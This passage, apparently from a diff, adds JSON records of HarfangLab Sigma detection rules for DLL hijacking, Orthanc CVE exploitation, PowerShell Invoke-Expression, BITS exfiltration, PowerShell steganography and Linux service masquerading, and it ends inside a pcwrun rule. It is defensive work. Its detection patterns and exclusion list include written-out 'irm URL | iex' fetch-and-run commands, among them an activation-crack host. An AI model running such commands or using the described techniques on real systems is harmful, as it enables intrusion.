+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.071691Z",
+  "creation_date": "2026-03-23T11:45:34.071693Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.071698Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://posts.specterops.io/lateral-movement-scm-and-dll-hijacking-primer-d2f61e8ab992",
+    "https://attack.mitre.org/techniques/T1574/001/",
+    "https://attack.mitre.org/techniques/T1574/002/"
+  ],
+  "name": "t1574_001_prepare_persistence_dll_hijack_ikeext_wlbsctrl.yml",
+  "content": "title: IKEEXT Service DLL Hijack Prepared\nid: 82bd1902-b17c-49f2-aff6-7b91e1340aa1\ndescription: |\n    Detects the creation of \"C:\\Windows\\System32\\wlbsctrl.dll\".\n    This DLL is not normally present on the system at this path, but the IKEEXT service tries to load it at startup.\n    Attackers can place a malicious payload at this path, gaining execution each time the IKEEXT is started.\n    It is recommended to investigate the content of file being written, as well as potential manual restart of the IKEEXT service to determine if this action was legitimate.\nreferences:\n    - https://posts.specterops.io/lateral-movement-scm-and-dll-hijacking-primer-d2f61e8ab992\n    - https://attack.mitre.org/techniques/T1574/001/\n    - https://attack.mitre.org/techniques/T1574/002/\ndate: 2020/10/02\nmodified: 2025/02/05\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.defense_evasion\n    - attack.t1574.001\n    - attack.t1574.002\n    - classification.Windows.Source.Filesystem\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.Persistence\nlogsource:\n    product: windows\n    category: filesystem_create\ndetection:\n    selection:\n        Path: '?:\\Windows\\System32\\wlbsctrl.dll'\n\n    exclusion_tiworker_svchost:\n        # C:\\Windows\\WinSxS\\Temp\\InFlight\\8e744265c6e9d6012163000028443044\\x86_microsoft-windows-t..-tsappsrv-component_31bf3856ad364e35_10.0.18362.1_none_e51344e8b75a8450\\TSVIPSrv.dll\n        Path|contains:\n            - '?:\\Windows\\WinSxS\\Temp\\InFlight'\n            - '?:\\windows\\servicing\\LCU'\n            - '?:\\windows\\softwaredistribution'\n\n    exclusion_windowskits:\n        Image: '?:\\Program Files (x86)\\Windows Kits\\10\\Assessment and Deployment Kit\\Deployment Tools\\WSIM\\imagecat.exe'\n        Path|contains: '\\Windows\\WinSxS\\'\n\n    exclusion_dism:\n        Image: '?:\\Windows\\System32\\Dism.exe'\n        Path|contains: '\\Windows\\WinSxS\\amd64_microsoft-windows' # C:\\Mount\\Windows\\WinSxS\\amd64_microsoft-windows-n..kloadbalancing-core_31bf3856ad364e35_10.0.17763.1_none_053da3b4296868b3\\wlbsctrl.dll\n\n    exclusion_engine:\n        Image:\n            - '?:\\Windows\\System32\\wbengine.exe'\n            - '?:\\Program Files\\Microsoft Azure Recovery Services Agent\\bin\\cbengine.exe'\n        ProcessParentImage: '?:\\Windows\\System32\\services.exe'\n        Path|contains: '\\Windows\\WinSxS\\amd64_microsoft-windows-n..kloadbalancing-core_' # C:\\Mount\\Windows\\WinSxS\\amd64_microsoft-windows-n..kloadbalancing-core_31bf3856ad364e35_10.0.17763.1_none_053da3b4296868b3\\wlbsctrl.dll\n\n    exclusion_setup_host:\n        # C:\\$WINDOWS.~BT\\Sources\\SetupHost.exe\n        # commandline: C:\\$WINDOWS.~BT\\Sources\\SetupHost.exe /Install /Media /InstallFile D:\\Sources\\Install.wim /MediaPath D:\n        Image: '*\\Sources\\SetupHost.exe'\n        # C:\\$WINDOWS.~BT\\NewOS\\Windows\\WinSxS\\amd64_microsoft-windows-n..kloadbalancing-core_31bf3856ad364e35_10.0.17763.1_none_053da3b4296868b3\\wlbsctrl.dll\n        Path: '?:\\\\?WINDOWS.~BT\\NewOS\\Windows\\WinSxS\\\\*'\n\n    exclusion_docker:\n        Image: '?:\\Program Files\\Docker\\Docker\\resources\\dockerd.exe'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "82bd1902-b17c-49f2-aff6-7b91e1340aa1",
+  "rule_name": "IKEEXT Service DLL Hijack Prepared",
+  "rule_description": "Detects the creation of \"C:\\Windows\\System32\\wlbsctrl.dll\".\nThis DLL is not normally present on the system at this path, but the IKEEXT service tries to load it at startup.\nAttackers can place a malicious payload at this path, gaining execution each time the IKEEXT is started.\nIt is recommended to investigate the content of file being written, as well as potential manual restart of the IKEEXT service to determine if this action was legitimate.\n",
+  "rule_creation_date": "2020-10-02",
+  "rule_modified_date": "2025-02-05",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001",
+    "attack.t1574.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "82cb5331-4e26-4950-ac2b-847847cb226b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.079439Z",
+  "creation_date": "2026-03-23T11:45:34.079441Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.079445Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://nvd.nist.gov/vuln/detail/CVE-2023-33466",
+    "https://www.shielder.com/blog/2023/10/cve-2023-33466-exploiting-healthcare-servers-with-polyglot-files/",
+    "https://github.com/ShielderSec/poc/blob/main/CVE-2023-33466/exploit.py",
+    "https://attack.mitre.org/techniques/T1190/"
+  ],
+  "name": "t1190_orthanc_rce_exploitation.yml",
+  "content": "title: Process Spawned by Orthanc Server\nid: 82cb5331-4e26-4950-ac2b-847847cb226b\ndescription: |\n    Detects the execution of a process by the Orthanc server process.\n    Orthanc is an open-source DICOM (Digital Imaging and Communications in Medicine) server used to centralise and visualise medical data.\n    This can be the result of the exploitation of the CVE-2023-33466 vulnerability that allows a user to overwrite arbitrary files on the system.\n    Attackers can exploit this vulnerability to overwrite Orthanc's config to allow remote LUA script to be executed, resulting in a privileged remote code execution primitive.\nreferences:\n    - https://nvd.nist.gov/vuln/detail/CVE-2023-33466\n    - https://www.shielder.com/blog/2023/10/cve-2023-33466-exploiting-healthcare-servers-with-polyglot-files/\n    - https://github.com/ShielderSec/poc/blob/main/CVE-2023-33466/exploit.py\n    - https://attack.mitre.org/techniques/T1190/\ndate: 2023/10/24\nmodified: 2025/04/18\nauthor: HarfangLab\ntags:\n    - attack.initial_access\n    - attack.t1190\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Exploit.CVE-2023-33466\n    - classification.Windows.Exploit.Orthanc\n    - classification.Windows.Behavior.InitialAccess\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        ParentImage|endswith: '\\Orthanc.exe'\n\n    exclusion_conhost:\n        OriginalFileName: 'conhost.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Windows'\n\n    exclusion_werfault:\n        OriginalFileName: 'werfault.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Windows'\n\n    exclusion_orthanc:\n        Image:\n            - '?:\\Program Files\\Orthanc Server\\Orthanc.exe'\n            - '?:\\Program Files (x86)\\icobridge-?.?\\Orthanc.exe'\n            - '?:\\Program Files\\icobridge-?.?\\Orthanc.exe'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "82cb5331-4e26-4950-ac2b-847847cb226b",
+  "rule_name": "Process Spawned by Orthanc Server",
+  "rule_description": "Detects the execution of a process by the Orthanc server process.\nOrthanc is an open-source DICOM (Digital Imaging and Communications in Medicine) server used to centralise and visualise medical data.\nThis can be the result of the exploitation of the CVE-2023-33466 vulnerability that allows a user to overwrite arbitrary files on the system.\nAttackers can exploit this vulnerability to overwrite Orthanc's config to allow remote LUA script to be executed, resulting in a privileged remote code execution primitive.\n",
+  "rule_creation_date": "2023-10-24",
+  "rule_modified_date": "2025-04-18",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.initial_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1190"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "82d46a9a-ed34-43b5-b6b3-c0e066ee8b96",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.619824Z",
+  "creation_date": "2026-03-23T11:45:34.619826Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.619830Z",
+  "rule_level": "high",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1059/001/"
+  ],
+  "name": "t1059_001_powershell_ending_iex.yml",
+  "content": "title: Suspicious PowerShell Script Ending With Invoke-Expression\nid: 82d46a9a-ed34-43b5-b6b3-c0e066ee8b96\ndescription: |\n    Detects the execution of a PowerShell script with commands ending in Invoke-Expression.\n    Invoke-Expression allows attackers to execute a command passed as an argument. It is often abused by attackers to execute obfuscated or remote code in-memory.\n    It is recommended to analyze the content of the script that has been executed to determine its purpose.\nreferences:\n    - https://attack.mitre.org/techniques/T1059/001/\ndate: 2024/03/15\nmodified: 2025/01/16\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1059.001\n    - classification.Windows.Source.PowerShellEvent\n    - classification.Windows.Script.PowerShell\nlogsource:\n    product: windows\n    category: powershell_event\ndetection:\n    selection:\n        # match all variation of spaces but can match anywhere in the script\n        ScriptBlockText|re:\n            - '\\| *iex'\n            - '\\| *invoke-expression'\n        # ensure that IEX is the last command of the script\n        ScriptBlockText|endswith:\n            - 'iex'\n            - 'invoke-expression'\n            - 'iex;'\n            - 'invoke-expression;'\n\n    exclusion_download_exec:\n        ScriptBlockText|startswith:\n            - 'iwr https://get.pnpm.io/install.ps1'\n            - 'irm get.scoop.sh'\n            - 'irm bun.sh/install.ps1'\n            - 'irm https://get.activated.win'\n            - 'irm \"https://christitus.com/win'\n            - 'irm https://community.chocolatey.org/install.ps1'\n            - 'irm https://claude.ai/install.ps1'\n            - 'Invoke-WebRequest https://raw.githubusercontent.com/asheroto/winget-installer/master/winget-install.ps1'\n            - 'irm christitus.com/win'\n            - 'iwr -useb \"https://raw.githubusercontent.com/Win11Modder/Win11-Req-Bypass/main/Win11_Bypass.ps1'\n            - 'irm https://deno.land/install.ps1'\n            - 'irm https://aspire.dev/install.ps1'\n\n    exclusion_oh_my_posh:\n        ScriptBlockText|contains:\n            - '?:/Users/*/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe'\n            - '?:/Program Files (x86)/oh-my-posh/bin/oh-my-posh.exe'\n            - '?:/Program Files/oh-my-posh/bin/oh-my-posh.exe'\n            - 'oh-my-posh init pwsh'\n\n    exclusion_servicenow:\n        ScriptBlockText|startswith: 'snc-decode-command '\n        ProcessParentImage|endswith: '\\bin\\java.exe'\n\n    exclusion_chocolatey:\n        ScriptBlockText|endswith: 'iwr https://community.chocolatey.org/install.ps1 -UseBasicParsing | iex'\n\n    exclusion_connectwise_parent:\n        ProcessParentImage: '?:\\Windows\\LTSvc\\LTSVC.exe'\n        ProcessParentSigned: 'true'\n        ProcessParentSignature: 'Connectwise, LLC'\n\n    exclusion_connectwise_grandparent:\n        ProcessGrandparentImage: '?:\\Windows\\LTSvc\\LTSVC.exe'\n        ProcessGrandparentSigned: 'true'\n        ProcessGrandparentSignature: 'Connectwise, LLC'\n\n    exclusion_itsplatform_parent:\n        ProcessParentImage: '?:\\program files (x86)\\itsplatform\\plugin\\performance\\platform-performance-plugin.exe'\n        ProcessParentSigned: 'true'\n        ProcessParentSignature: 'Connectwise, LLC'\n\n    exclusion_itsplatform_grandparent:\n        ProcessGrandparentImage: '?:\\Program Files (x86)\\ITSPlatform\\agentcore\\platform-agent-core.exe'\n        ProcessGrandparentSigned: 'true'\n        ProcessGrandparentSignature: 'Connectwise, LLC'\n\n    exclusion_astral_install:\n        ScriptBlockText|endswith:\n            - 'irm https://astral.sh/uv/install.ps1 | iex'\n            - 'irm https://astral.sh/uv/?.?.??/install.ps1 | iex'\n\n    exclusion_rstudio:\n        ProcessGrandparentImage: '?:\\Program Files\\RStudio\\rstudio.exe'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "82d46a9a-ed34-43b5-b6b3-c0e066ee8b96",
+  "rule_name": "Suspicious PowerShell Script Ending With Invoke-Expression",
+  "rule_description": "Detects the execution of a PowerShell script with commands ending in Invoke-Expression.\nInvoke-Expression allows attackers to execute a command passed as an argument. It is often abused by attackers to execute obfuscated or remote code in-memory.\nIt is recommended to analyze the content of the script that has been executed to determine its purpose.\n",
+  "rule_creation_date": "2024-03-15",
+  "rule_modified_date": "2025-01-16",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1059.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "82dfa65b-d6b2-4d2d-a661-450cba3121a1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.091702Z",
+  "creation_date": "2026-03-23T11:45:34.091704Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.091709Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.elastic.co/security-labs/bits-and-bytes-analyzing-bitsloth",
+    "https://attack.mitre.org/techniques/T1197/",
+    "https://attack.mitre.org/techniques/T1567/",
+    "https://attack.mitre.org/techniques/T1105/"
+  ],
+  "name": "t1197_bits_post.yml",
+  "content": "title: Suspicious BITS Upload Protocol Usage\nid: 82dfa65b-d6b2-4d2d-a661-450cba3121a1\ndescription: |\n    Detects a URL request using the BITS protocol to an IP address or to a non standard port.\n    Adversaries may use the BITS protocol to exfiltrate data.\n    Windows has a system administration feature called the Background Intelligent Transfer Service (BITS) enabling the download and upload of files to HTTP web servers or SMB shares.\n    It is recommended to check the process responsible for the upload job and analyze the impacted computer for other malicious behavior or files.\nreferences:\n    - https://www.elastic.co/security-labs/bits-and-bytes-analyzing-bitsloth\n    - https://attack.mitre.org/techniques/T1197/\n    - https://attack.mitre.org/techniques/T1567/\n    - https://attack.mitre.org/techniques/T1105/\ndate: 2024/08/02\nmodified: 2025/10/09\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1197\n    - attack.exfiltration\n    - attack.t1567\n    - attack.command_and_control\n    - attack.t1105\n    - attack.t1571\n    - classification.Windows.Source.UrlRequest\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.Exfiltration\n    - classification.Windows.Behavior.FileDownload\nlogsource:\n    product: windows\n    category: url_request\ndetection:\n    selection:\n        RequestUrlVerb: 'BITS_POST'\n\n    selection_ip:\n        RequestUrlHost|re: '^([0-9]{1,3}\\.){3}([0-9]{1,3})$'\n\n    filter_port:\n        RequestUrlPort:\n            - '80'\n            - '443'\n\n    exclusion_ivanti:\n        RequestUrl|contains: ':7751/managementserver/Deployment/Events/'\n\n    exclusion_ccm:\n        RequestUrl|endswith:\n            - '/CCM_Incoming/{????????-????-????-????-????????????}'\n            - '/CCM_Incoming/%7B????????-????-????-????-????????????%7D'\n\n    condition: selection and (not filter_port or selection_ip) and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "82dfa65b-d6b2-4d2d-a661-450cba3121a1",
+  "rule_name": "Suspicious BITS Upload Protocol Usage",
+  "rule_description": "Detects a URL request using the BITS protocol to an IP address or to a non standard port.\nAdversaries may use the BITS protocol to exfiltrate data.\nWindows has a system administration feature called the Background Intelligent Transfer Service (BITS) enabling the download and upload of files to HTTP web servers or SMB shares.\nIt is recommended to check the process responsible for the upload job and analyze the impacted computer for other malicious behavior or files.\n",
+  "rule_creation_date": "2024-08-02",
+  "rule_modified_date": "2025-10-09",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.defense_evasion",
+    "attack.exfiltration"
+  ],
+  "rule_technique_tags": [
+    "attack.t1105",
+    "attack.t1197",
+    "attack.t1567",
+    "attack.t1571"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "82f20fc7-b480-4189-a916-5639984934a6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.085399Z",
+  "creation_date": "2026-03-23T11:45:34.085400Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.085405Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/peewpw/Invoke-PSImage",
+    "https://attack.mitre.org/techniques/T1027/003/",
+    "https://attack.mitre.org/techniques/T1001/002/",
+    "https://attack.mitre.org/software/S0231/"
+  ],
+  "name": "t1027_003_powershell_steganography.yml",
+  "content": "title: Possible Steganography via PowerShell\nid: 82f20fc7-b480-4189-a916-5639984934a6\ndescription: |\n    Detects PowerShell execution patterns associated with steganography-based payloads, where malicious code is embedded within image files' pixel data.\n    This technique, commonly implemented through tools like Invoke-PSImage, allows attackers to bypass traditional detection by concealing PowerShell scripts within seemingly benign PNG files.\n    The malicious payload is typically extracted from the image and executed directly in memory, making traditional file-based detection ineffective.\n    It is recommended to investigate PowerShell processes interacting with image files, analyze suspicious image metadata, and perform memory forensics to identify steganography-based code.\nreferences:\n    - https://github.com/peewpw/Invoke-PSImage\n    - https://attack.mitre.org/techniques/T1027/003/\n    - https://attack.mitre.org/techniques/T1001/002/\n    - https://attack.mitre.org/software/S0231/\ndate: 2021/11/12\nmodified: 2025/01/27\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1027.003\n    - attack.command_and_control\n    - attack.t1001.002\n    - attack.s0231\n    - classification.Windows.Source.PowerShellEvent\n    - classification.Windows.Script.PowerShell\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: powershell_event\n    product: windows\ndetection:\n    selection_1:\n        PowershellCommand|contains:\n          - 'System.Drawing.Bitmap'\n          - 'System.Windows.Forms.PictureBox'\n    selection_2:\n        PowershellCommand|contains|all:\n          - 'GetPixel'\n          - '[math]::Floor'\n          - '-bor'\n          - '-band'\n    condition: all of selection_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "82f20fc7-b480-4189-a916-5639984934a6",
+  "rule_name": "Possible Steganography via PowerShell",
+  "rule_description": "Detects PowerShell execution patterns associated with steganography-based payloads, where malicious code is embedded within image files' pixel data.\nThis technique, commonly implemented through tools like Invoke-PSImage, allows attackers to bypass traditional detection by concealing PowerShell scripts within seemingly benign PNG files.\nThe malicious payload is typically extracted from the image and executed directly in memory, making traditional file-based detection ineffective.\nIt is recommended to investigate PowerShell processes interacting with image files, analyze suspicious image metadata, and perform memory forensics to identify steganography-based code.\n",
+  "rule_creation_date": "2021-11-12",
+  "rule_modified_date": "2025-01-27",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1001.002",
+    "attack.t1027.003"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "830dba8c-6d84-4973-9940-ee743a5f5105",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.622043Z",
+  "creation_date": "2026-03-23T11:45:34.622045Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.622050Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1036/005/",
+    "https://attack.mitre.org/techniques/T1569/"
+  ],
+  "name": "t1036_005_system_service_masquerade_linux.yml",
+  "content": "title: System Service Masqueraded\nid: 830dba8c-6d84-4973-9940-ee743a5f5105\ndescription: |\n    Detects an execution of a common Linux service from a non-standard directory.\n    Adversaries may try to match the name of a legitimate system binary when creating a malicious executable to evade defenses.\n    It is recommended to ensure the legitimacy of the process and that is has a legitimate reason to mimick the name of a system service.\nreferences:\n    - https://attack.mitre.org/techniques/T1036/005/\n    - https://attack.mitre.org/techniques/T1569/\ndate: 2023/12/15\nmodified: 2026/01/22\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1036.005\n    - attack.execution\n    - attack.t1569\n    - classification.Linux.Source.ProcessCreation\n    - classification.Linux.Behavior.Masquerading\n    - classification.Linux.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: linux\ndetection:\n    selection_service:\n        Image|endswith:\n            - '/sshd'\n            - '/cron'\n            - '/crond'\n            - '/cupsd'\n\n    filter_system_directories:\n        Image|startswith:\n            - '/bin/'\n            - '/sbin/'\n            - '/usr/bin/'\n            - '/usr/sbin/'\n            - '/usr/local/sbin/'\n            - '/nix/store/*/bin/'\n\n    exclusion_sshpass:\n        ParentImage: '/usr/bin/sshpass'\n\n    exclusion_hurukai:\n        ParentImage|endswith: '/hurukai-*/hk'\n\n    exclusion_snap_sshd:\n        # /snap/core20/2264/usr/sbin/sshd\n        Image: '/snap/core*/*/sshd'\n\n    exclusion_snap_cupsd:\n        # /snap/cups/1058/sbin/cupsd\n        Image: '/snap/cups/*/cupsd'\n\n    exclusion_strace:\n        ParentImage: '/usr/bin/strace'\n\n    condition: selection_service and not 1 of filter_* and not 1 of exclusion_*\nlevel: critical\n#level: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "830dba8c-6d84-4973-9940-ee743a5f5105",
+  "rule_name": "System Service Masqueraded",
+  "rule_description": "Detects an execution of a common Linux service from a non-standard directory.\nAdversaries may try to match the name of a legitimate system binary when creating a malicious executable to evade defenses.\nIt is recommended to ensure the legitimacy of the process and that is has a legitimate reason to mimick the name of a system service.\n",
+  "rule_creation_date": "2023-12-15",
+  "rule_modified_date": "2026-01-22",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1036.005",
+    "attack.t1569"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "8317c88b-c80b-4c89-8af0-851a7ba8f0ee",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.069666Z",
+  "creation_date": "2026-03-23T11:45:34.069668Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.069673Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://lolbas-project.github.io/lolbas/Binaries/Pcwrun/",
+    "https://attack.mitre.org/techniques/T1218/"
+  ],
+  "name": "t1218_pwcrun.yml",
+  "content": "title: Proxy Execution via pcwrun.exe\nid: 8317c88b-c80b-4c89-8af0-851a7ba8f0ee\ndescription: |\n    Detects a suspicious execution of the Program Compatibility Wizard (pcwrun.exe) to launch a binary.\n    Attackers may abuse pcwrun.exe as a LOLBin to bypass security restrictions.\n    It is recommended to analyze the process responsible for the execution of pcwrun.exe as well as to look for suspicious actions by child processes.\nreferences:\n    - https://lolbas-project.github.io/lolbas/Binaries/Pcwrun/\n    - https://attack.mitre.org/techniques/T1218/\ndate: 2022/02/04\nmodified: 2025/01/30\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1218\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.LOLBin.Pcwrun\n    - classification.Windows.Behavior.ProxyExecution\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        - Image|endswith: '\\pcwrun.exe'\n        - OriginalFileName: 'pcwrun.exe'\n\n    